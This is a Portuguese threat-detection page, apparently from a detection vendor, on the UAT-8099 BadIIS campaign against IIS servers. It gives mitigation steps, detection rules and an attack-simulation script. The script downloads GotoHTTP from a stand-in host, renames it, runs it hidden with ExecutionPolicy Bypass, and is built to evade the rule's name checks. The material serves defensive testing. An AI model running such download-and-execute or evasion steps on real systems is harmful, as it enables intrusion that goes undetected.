Dissecando UAT-8099: Novos mecanismos de persistência e foco regional
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A Cisco Talos relata uma nova campanha UAT-8099 visando servidores IIS vulneráveis na Ásia. O ator implanta variantes personalizadas do BadIIS que incluem identificadores regionais e depende de web shells, PowerShell e da ferramenta de controle remoto GotoHTTP para controle subsequente. A persistência foi ampliada para incluir a criação de contas locais ocultas e o uso de utilitários legítimos de equipes de red teaming para se misturar às atividades administrativas. A técnica se sobrepõe à operação WEBJACK anterior e parece focada em fraudes de SEO afetando sites na Tailândia e no Vietnã.
Investigação
A Talos revisou a telemetria DNS, hashes de arquivos e scripts maliciosos para reconstruir a cadeia de intrusão. Os analistas observaram web shells combinados com ferramentas como SoftEther VPN e EasyTier, além de um conjunto de utilitários sob medida, incluindo Sharp4RemoveLog, CnCrypt Protect, OpenArk64 e GotoHTTP. Duas cepas do BadIIS ajustadas regionalmente — IISHijack e asdSearchEngine — foram analisadas reversamente, expondo códigos de países hard-coded, filtragem de solicitações seletiva e configuração de C2 criptografada com XOR. Um compilado ELF do BadIIS com domínios C2 correspondentes também foi identificado no VirusTotal.
Mitigação
Corrija as vulnerabilidades expostas do IIS, fortaleça a aplicação do firewall de aplicativos web e monitore a criação de contas locais ocultas (por exemplo, admin$, mysql$ e similares). Detecte atividades do PowerShell que baixam ou iniciam o GotoHTTP e bloqueiem a comunicação de saída para domínios C2 conhecidos. Use controles de endpoint para alertar sobre a execução dos utilitários personalizados identificados e sobre modificações inesperadas nos diretórios do servidor web.
Resposta
Se forem encontrados indicadores, isole o servidor, remova os web shells e apague as contas ocultas. Preserve binários do BadIIS e scripts relacionados para análise forense, e realize uma revisão completa do tráfego de rede para identificar atividades C2. Restaure a partir de um backup confiável e reforce a configuração do IIS para prevenir reinfecções.
Fluxo de Ataque
Detecções
Download ou Upload via Powershell (via linha de comando)
Proof of Value
Arquivos Suspeitos no Perfil de Usuário Público (via evento_arquivo)
Proof of Value
Possível Enumeração de Contas ou Grupos (via linha de comando)
Proof of Value
Detectar Execução de Comando PowerShell para Implementação de GotoHTTP [Windows Powershell]
Proof of Value
Detecção de Malware BadIIS Alvejando Servidores IIS para Fraude SEO [Servidor Web]
Proof of Value
Execução de Simulação
Pré-requisito: O Check de Preparo de Telemetria e Baseline deve ter passado.
-
Narrativa do Ataque & Comandos:
Um atacante obteve acesso inicial em um servidor web comprometido. Eles criam um diretório oculto chamadobad_iissob o diretório raiz do IIS e colocam um binário web-shell com nome personalizadoshell_xyz.exe(evitando a string literal “web shell”). Usando o shell, eles executam lateralmente uma carga útil do PowerShell que baixa o binário GotoHTTP, renomeia-o parasvc_update.exe, e o executa. Como os nomes das imagens estão obfuscados, as verificaçõesImage|containsda regra original são contornadas, enquanto a linha de comando ainda contém “PowerShell”. -
Script de Teste de Regressão: Este script reproduz os passos descritos e gera telemetria semelhante ao ataque BadIIS sem usar as strings exatas que a regra observa.
# Simulação BadIIS – versão ofuscada $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Implantar um web-shell renomeado (cópia binária de um exe benigno conhecido) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simular o web-shell invocando PowerShell para baixar GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Executar a carga útil do PowerShell através do web-shell renomeado (criação de processo) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "Simulação BadIIS executada." -
Comandos de Limpeza: Remove os artefatos plantados e restaura o ambiente.
# Limpar artefatos da simulação BadIIS $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Limpeza concluída."